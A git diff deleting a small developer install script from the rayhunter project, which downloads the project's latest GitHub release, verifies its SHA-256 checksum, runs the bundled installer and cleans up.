a/tools/install-dev.sh b/tools/install-dev.sh deleted file mode 100755 index 2233817c..00000000 --- a/tools/install-dev.sh +++ /dev/null @@ -1,18 +0,0 @@ -#!/bin/env bash - -set -e - -mkdir build -cd build -curl -LOs "https://github.com/EFForg/rayhunter/releases/latest/download/release.tar" -curl -LOs "https://github.com/EFForg/rayhunter/releases/latest/download/release.tar.sha256" -if ! sha256sum -c --quiet release.tar.sha256; then - echo "Download corrupted! (╯°□°)╯︵ ┻━┻" - exit 1 -fi - -tar -xf release.tar -./install.sh - -cd .. -rm -rf build